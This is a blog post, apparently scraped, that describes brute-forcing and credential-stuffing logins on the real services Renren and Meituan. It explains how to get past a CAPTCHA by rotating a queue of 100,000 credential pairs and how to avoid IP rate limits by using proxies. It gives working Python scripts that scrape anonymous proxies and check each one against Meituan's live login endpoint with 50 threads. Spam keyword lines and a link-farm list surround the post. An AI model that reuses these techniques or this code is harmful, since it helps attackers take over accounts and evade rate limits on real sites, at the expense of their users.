日韩久久久精品,亚洲精品久久久久久久久久久,亚洲欧美一区二区三区国产精品 ,一区二区福利

批量獲取及驗證HTTP代理的Python腳本

系統 2138 0

HTTP暴力破解、撞庫,有一些慣用的技巧,比如:

1. 在掃號人人網時,我遇到單個賬號錯誤兩次,強制要求輸入驗證碼,而對方并未實施IP策略。

我采用維護10萬(用戶名,密碼) 隊列的方式來繞過驗證碼。具體的做法是,當某個用戶名、密碼組合遇到需要驗證碼,就把該破解序列掛起,放到隊列尾部等待下次測試,繼續破解其他賬號密碼。

這樣就可以保證2/3的時間都在進行正常破解和掃號。

2. 在破解美團網某系統賬號時,我遇到了單個IP訪問有一定限制,請求頻率不可過快。于是我掛了72個 HTTP代理來解決這個問題。 看似每個IP的請求都正常,但其實從整個程序上看,效率還是挺可觀的。

本篇我發出自己抓HTTP的腳本片段,其實只有幾行。匿名代理是從這里抓取的:http://www.xici.net.co/nn/

首先獲取代理列表 :

            
from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)

of.close()
          

接著驗證代理是否可用,因為我是用于破解美團網系統的賬號,因此用了美團的頁面標記:

            
#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()
          


更多文章、技術交流、商務合作、聯系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦!??!

發表我的評論
最新評論 總共0條評論
主站蜘蛛池模板: 青岛市| 奈曼旗| 漳州市| 栾城县| 江油市| 中江县| 永寿县| 鞍山市| 前郭尔| 阿勒泰市| 二手房| 犍为县| 建德市| 山西省| 台江县| 阳西县| 郸城县| 额尔古纳市| 札达县| 钦州市| 讷河市| 独山县| 鄯善县| 当阳市| 贞丰县| 赣榆县| 隆安县| 屯昌县| 布尔津县| 井研县| 绿春县| 肃南| 肃北| 平山县| 米林县| 三原县| 阳新县| 泰州市| 金山区| 五家渠市| 沐川县|